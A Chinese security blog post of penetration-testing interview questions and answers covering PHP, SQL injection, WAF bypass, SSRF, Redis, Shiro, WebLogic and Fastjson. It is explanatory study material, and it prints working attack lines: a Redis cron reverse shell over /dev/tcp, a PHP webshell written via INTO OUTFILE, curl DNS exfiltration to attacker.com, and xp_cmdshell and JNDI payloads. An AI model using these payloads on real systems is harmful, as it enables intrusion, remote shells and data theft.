网站建设的元素国外ps网站
网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
2025年渗透测试面试题总结-拷打题库36
PHP代码常见入口函数查找
PHP框架路由方法熟悉度
PHP变量覆盖漏洞
文件包含漏洞防御
远程文件包含(RFI)与本地文件包含(LFI)的PHP设置差异
本地文件包含路径限制(PHP配置)
防止二次注入
最熟悉的三种Web漏洞类型
SQL注入过滤单引号绕过
MySQL报错注入常用函数
报错注入绕WAF
MySQL写文件函数
INTO OUTFILE使用限制
SQL Server其他渗透方式
SSRF可用的伪协议
Redis RCE过程
Redis未授权获取权限
/etc/passwd文件内容
二次注入修复方法
SQL注入过WAF(过滤information关键词)
命令执行漏洞HTTP不出网处理
高难度渗透测试案例
SYN开放端口扫描原理
Shiro绕WAF方法
WebLogic遭遇WAF拦截的后续操作
JBoss反序列化原理
WebLogic反序列化漏洞(CVE-2017-10271)
Fastjson漏洞检测
Fastjson漏洞回显判断
Fastjson高版本无回显绕过
2025年渗透测试面试题总结-拷打题库36
php代码常见入口函数怎么找 有一些php的开发框架可以帮我们做一些url路由,对这些路由的方法熟悉吗 介绍下PHP的变量覆盖 有一个php的程序,本身就允许文件包含的操作,同时想要避免文件包含漏洞,写代码的时候要注意哪些 远程文件包含和本地文件包含,这两种涉及的php设置有什么 本地文件包含能不能通过php配置限制文件包含的路径(不通过代码直接通过配置项来解决) 写代码的时候怎么防止二次注入 讲一下最熟悉的三种web漏洞类型,原理,测试方式 SQL注入过滤单引号怎么绕过 mysql报错注入常用的函数 报错注入绕waf mysql写文件的函数有哪些 into outfile使用有哪些限制 sqlserver除了sql注入外还有什么渗透的方式 ssrf可以使用的伪协议 有了解过Redis RCE的过程吗 Redis未授权如何获得服务器权限 /etc/passwd文件包含哪些内容 二次注入要怎么修复 sql注入过waf了解吗,若一个sql注入过滤了information关键词,怎么绕过 命令执行漏洞,http不出网有什么比较好的处理方法(发散一点说) 介绍一次难度比较高的渗透测试 syn开放链接原理 shiro 如何绕 waf weblogic 如果在打站的时候,一旦遇到了 waf,第一个 payload 发过去,直接被拦截了, ip 也被 ban 了,如何进行下一步操作 jboss 反序列化原理 weblogic 反序列化原理,随便说一个漏洞,然后说触发原理 fastjson 怎么判断是不是有漏洞,原理是什么 fastjson 判断漏洞回显是怎么判断的,是用 dns 做回显还是其他的协议做,为什么 fastjson 高版本,无回显的情况,如何进行绕过,为什么可以这样绕过PHP代码常见入口函数查找
- 入口文件定位
- 默认入口:
index.php、admin.php等常见入口文件,通常包含路由分发逻辑。- 框架入口:如Laravel的
public/index.php,ThinkPHP的index.php。- 路由配置:检查
.htaccess或web.config中的URL重写规则,确定请求如何映射到PHP脚本。- 全局函数追踪
- 超全局变量:
$_GET、$_POST、$_REQUEST的参数接收点。- 框架路由方法:如Laravel的
Route::get(),ThinkPHP的$this->display()。- 危险函数触发点
- 文件包含:
include、require的参数是否可控。- 动态代码执行:
eval()、call_user_func()的调用链分析。
PHP框架路由方法熟悉度
- 路由定义方式
- 静态路由:如
Route::get('/user', 'UserController@index')。- 动态路由:
/user/{id},参数通过控制器方法接收。- 闭包路由:匿名函数处理请求,需检查闭包内的逻辑安全。
- 路由解析漏洞
- ThinkPHP 5.x RCE:路由参数未过滤导致代码执行(如
s=/index/\think\app/invokefunction)。- Laravel路由注入:动态路由参数未验证导致路径遍历。
- 安全配置检查
- 中间件防护:验证身份验证中间件(如
auth)是否覆盖敏感路由。- CSRF保护:检查路由是否豁免CSRF验证(如
VerifyCsrfToken白名单)。
PHP变量覆盖漏洞
- 漏洞原理
- extract()函数:从数组导入变量到符号表,若参数可控可覆盖全局变量。
- parse_str()函数:解析查询字符串到变量,未初始化变量可被覆盖。
- **变量动态赋值**:如`foreach($_GET as $key => $value) { key = $value; }`。
- 利用场景
- 覆盖配置变量:如
$is_admin = 0被覆盖为1,绕过权限检查。- 绕过认证逻辑:修改
$_SESSION或$_COOKIE中的用户标识。- 修复方案
- 禁用危险函数:避免使用
extract(),改用明确变量赋值。- 初始化变量:使用前对变量赋默认值,如
$is_admin = isset($_POST['admin']) ? 0 : 1。
文件包含漏洞防御
- 代码层防御
- 白名单限制:仅允许包含指定目录文件(如
include './lib/' . $file . '.php')。- 动态参数过滤:检查文件名是否包含
../或协议(如php://)。- 配置层防御
- 禁用高危协议:
php.ini中设置allow_url_include=Off。- 限制包含路径:
open_basedir设置为项目目录,阻止跨目录访问。- 逻辑层防御
- 文件后缀固定:拼接固定后缀(如
.php),避免包含非PHP文件。- 文件存在性验证:包含前检查文件是否存在(如
file_exists())。
远程文件包含(RFI)与本地文件包含(LFI)的PHP设置差异
- RFI相关配置
- allow_url_fopen:控制是否允许打开远程文件(默认On)。
- allow_url_include:控制是否允许包含远程文件(默认Off)。
- LFI相关配置
- open_basedir:限制文件操作范围,但可能被绕过(如
/proc/self/environ)。- disable_functions:禁用
realpath()等函数,防止路径解析绕过。- 协议影响
- RFI协议:
http://、ftp://需allow_url_include开启。- LFI协议:
file://、php://filter受open_basedir限制。
本地文件包含路径限制(PHP配置)
- open_basedir
- 作用:限制PHP可访问的目录(如
open_basedir=/var/www/html)。- 绕过:利用
/proc/self/cwd或/proc/self/fd访问其他目录。- disable_functions
- 禁用函数:如
realpath()、symlink(),防止符号链接攻击。- 目录权限
- 文件所有权:确保Web用户(如
www-data)无权访问敏感目录(如/etc)。
防止二次注入
- 输入过滤
- 统一转义:使用预处理语句或参数化查询,而非手动转义。
- 数据类型强制:如
intval()处理数字型参数。- 存储层防御
- 数据存储规范化:入库前统一转义,出库时保持原始数据。
- ORM框架:使用Eloquent或Doctrine,自动处理参数绑定。
- 代码审计
- 追踪数据流:检查数据从存储到输出的全流程是否一致转义。
- 自动化测试:通过SQLMap的
--second-order参数测试二次注入点。
最熟悉的三种Web漏洞类型
- SQL注入
- 原理:用户输入拼接至SQL语句,导致恶意查询执行。
- 测试:
' OR 1=1--测试布尔盲注,SLEEP(5)测试时间盲注。- 防御:预编译语句(PDO)、输入过滤(如
preg_replace)。- XSS(跨站脚本)
- 原理:用户输入未转义输出到HTML,导致脚本执行。
- 测试:
<script>alert(1)</script>测试反射型XSS。- 防御:输出转义(
htmlspecialchars)、CSP策略。- 文件上传漏洞
- 原理:未校验文件类型/内容,上传恶意文件(如
.php)。- 测试:上传
.php文件,尝试绕过MIME类型检查。- 防御:白名单后缀、文件内容检测(如
exif_imagetype())。
SQL注入过滤单引号绕过
- 编码绕过
- URL编码:
%27代替单引号,%2527双重编码绕过。- 十六进制编码:
0x27表示单引号(如SELECT * FROM users WHERE id=0x27)。- 宽字节注入
- 原理:GBK编码中
%df%27转为合法字符,绕过转义('→�')。- 利用:
id=1%df%27 AND 1=1--。- 二次注入
- 场景:入库时转义,出库时拼接导致单引号生效。
- 测试:注册用户名为
admin'--,后续查询触发注入。
MySQL报错注入常用函数
- updatexml()
- 用法:
updatexml(1,concat(0x7e,(SELECT user())),1),利用XPath错误回显数据。- extractvalue()
- 用法:
extractvalue(1,concat(0x7e,(SELECT database()))),原理类似updatexml。- floor()
- 用法:通过
COUNT()和GROUP BY触发主键重复错误(如SELECT COUNT(*),CONCAT((SELECT user()),0x7e,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x)。
报错注入绕WAF
- 函数替换
- 替代函数:用
exp()代替updatexml()(如exp(~(SELECT * FROM (SELECT user())a)))。- 分块传输
- HTTP分块:将请求拆分为多个块,绕过WAF正则检测。
- 注释混淆
- 内联注释:
/*!50000SELECT*/绕过黑名单过滤。
MySQL写文件函数
- INTO OUTFILE
- 用法:
SELECT '<?php eval($_POST[1]);?>' INTO OUTFILE '/var/www/shell.php'。- DUMPFILE
- 特点:写入二进制文件(如图片、二进制后门)。
- SELECT ... INTO变量
- 限制:需
secure_file_priv为空,且MySQL有写权限。
INTO OUTFILE使用限制
- 权限限制
- MySQL用户权限:需具备
FILE权限,且secure_file_priv非NULL。- 路径限制
- secure_file_priv:若设置为
/tmp,则只能写入该目录。- 文件覆盖
- 文件存在性:若目标文件已存在,写入会失败。
SQL Server其他渗透方式
- xp_cmdshell
- 利用:启用并执行系统命令(如
EXEC xp_cmdshell 'whoami')。- 链接服务器攻击
- 横向移动:通过
OPENROWSET访问其他数据库服务器。- CLR集成
- 自定义程序集:加载恶意.NET程序执行系统命令。
SSRF可用的伪协议
- file://
- 利用:读取本地文件(如
file:///etc/passwd)。- dict://
- 利用:探测端口服务(如
dict://127.0.0.1:6379/info)。- gopher://
- 利用:构造HTTP请求攻击内网服务(如Redis未授权访问)。
Redis RCE过程
- 写入SSH公钥
- 步骤:通过
config set dir设置目录,set写入公钥到authorized_keys。- Web目录写Shell
- 步骤:设置目录为Web根路径,写入PHP后门。
- 主从复制利用
- 步骤:伪造恶意Redis主节点,同步恶意模块(如
.so文件)。
Redis未授权获取权限
- 信息泄露
- 执行命令:
INFO获取服务器信息,KEYS *遍历数据库键。- 写定时任务
- 步骤:
config set dir /var/spool/cron,写入*/1 * * * * bash -i >& /dev/tcp/ip/port 0>&1。- Lua沙箱绕过
- 利用CVE:如CVE-2022-0543(Debian特定漏洞)执行系统命令。
/etc/passwd文件内容
- 用户账户信息
- 格式:
username:x:UID:GID:description:/home/dir:/bin/bash。- 特殊用户
- root:UID=0,拥有最高权限。
- 服务账户:如
mysql、www-data,无登录Shell。
二次注入修复方法
- 数据存储规范化
- 转义存储:入库时对特殊字符转义(如
addslashes())。- 输出上下文转义
- 动态转义:根据输出位置(HTML、SQL、JSON)使用不同转义方法。
- ORM框架使用
- 参数化查询:避免手动拼接SQL,如使用Eloquent的
where()方法。
SQL注入过WAF(过滤information关键词)
- 大小写混淆
- 绕过:
InFoRmaTiOn_schema.tables。- 注释分割
- 绕过:
infoorrmation/**/_schema。- 等价替换
- 替代表:使用
mysql.innodb_table_stats代替information_schema。
命令执行漏洞HTTP不出网处理
- DNS外带数据
- 利用:
curl http://$(whoami).attacker.com。- ICMP隧道
- 工具:使用
icmpsh或ping -p携带数据。- 日志写入
- 步骤:将命令结果写入Web日志,通过访问日志读取。
高难度渗透测试案例
- 目标环境
- 场景:某金融系统,具备WAF、IDS、多因素认证。
- 突破路径
- 钓鱼攻击:伪造登录页窃取OTP,绕过多因素认证。
- WAF绕过:分块传输+注释混淆绕过SQL注入检测。
- 内网横向
- 利用漏洞:通过Exchange SSRF(CVE-2021-26855)进入内网。
SYN开放端口扫描原理
- 三次握手
- SYN扫描:发送SYN包,若收到SYN-ACK则认为端口开放,不完成握手(RST终止)。
- 隐蔽性
- 无连接记录:半开放扫描不建立完整连接,日志中不易被发现。
- 工具实现
- Nmap命令:
nmap -sS 192.168.1.1。
Shiro绕WAF方法
- 密钥爆破
- 原理:Shiro硬编码密钥,使用已知密钥生成恶意RememberMe Cookie。
- 加密模式绕过
- AES-CBC:利用Padding Oracle攻击解密或加密恶意序列化数据。
- 流量混淆
- HTTP头伪装:将Cookie拆分到多个头字段,绕过正则匹配。
WebLogic遭遇WAF拦截的后续操作
- 流量分析
- 捕获特征:分析WAF拦截规则(如User-Agent、Payload长度)。
- 协议转换
- HTTP/HTTPS切换:尝试HTTPS绕过明文检测。
- 延迟与分块
- 慢速攻击:降低发包速率,绕过频率检测。
- 分块传输:拆解Payload为多个块,绕过正则匹配。
JBoss反序列化原理
- JMXInvokerServlet
- 漏洞点:未授权访问
/invoker/JMXInvokerServlet,接收序列化数据。- 利用链
- 库依赖:
org.jboss.invocation.MarshalledValue触发Gadget链。- 修复方案
- 删除Servlet:移除
invoker目录或配置访问控制。
WebLogic反序列化漏洞(CVE-2017-10271)
- 漏洞原理
- XML解析:
wls-wsat组件接收恶意XML数据,触发WorkContext反序列化。- 利用链
- Gadget链:利用
com.sun.rowset.JdbcRowSetImpl触发JNDI注入。- 防御措施
- 删除组件:移除
wls-wsat相关文件,或限制访问IP。
Fastjson漏洞检测
- 版本识别
- 响应头特征:
X-Serialized-Json头或异常错误信息。- DNS探测
- Payload:
{"@type":"java.net.Inet4Address","val":"dnslog.cn"}。- 报错回显
- 触发异常:构造不存在的类名,观察是否暴露类路径信息。
Fastjson漏洞回显判断
- DNSLog
- 原理:利用JNDI加载远程类触发DNS查询(如
ldap://dnslog.cn/exp)。- HTTP请求
- 回显:通过
java.net.URL类发起HTTP请求携带数据。- 延迟检测
- 时间盲注:构造
Thread.sleep()判断是否存在漏洞。
Fastjson高版本无回显绕过
- 内存马注入
- 利用链:结合Tomcat Filter/Servlet注入内存Shell。
- 本地文件写入
- 写Web目录:通过
java.io.FileWriter写入JSP后门。- 异步线程加载
- 延迟触发:利用
java.util.TimerTask延迟执行恶意代码绕过检测。
